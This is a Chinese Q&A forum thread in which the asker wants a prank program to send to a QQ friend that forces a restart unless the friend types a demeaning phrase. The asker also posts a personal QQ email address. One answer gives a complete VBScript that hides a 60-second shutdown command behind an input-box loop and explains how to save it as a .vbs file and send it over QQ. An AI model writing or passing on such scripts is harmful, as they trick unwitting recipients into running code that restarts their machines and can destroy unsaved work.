Question

用QQ发个文件给好友，输入“叫哥哥”，如果他不输入，就让他重启电脑的恶搞软件

发送至97213745@qq.com邮箱里，有用的话，我一定会给您追加分数的，谢谢
可不可以直接发给我啊，自己不会弄啊

Answer 1

把下面这个复制到记事本里
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“叫哥哥”，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "叫哥哥")
a = inputbox ("说“叫哥哥”,就不关机，快撒，说 ""叫哥哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

就这些，对了，要把她另存为，命名XXX.vbs然后上QQ，传文件，就OK了，不信自己试试~

Answer 2

Ls淫荡啊...不就是vb脚本代码么?lz别采纳他的...在网上搜 vb整人代码即可...不止一个哦

Answer 3

你都不给分怎么发给你啊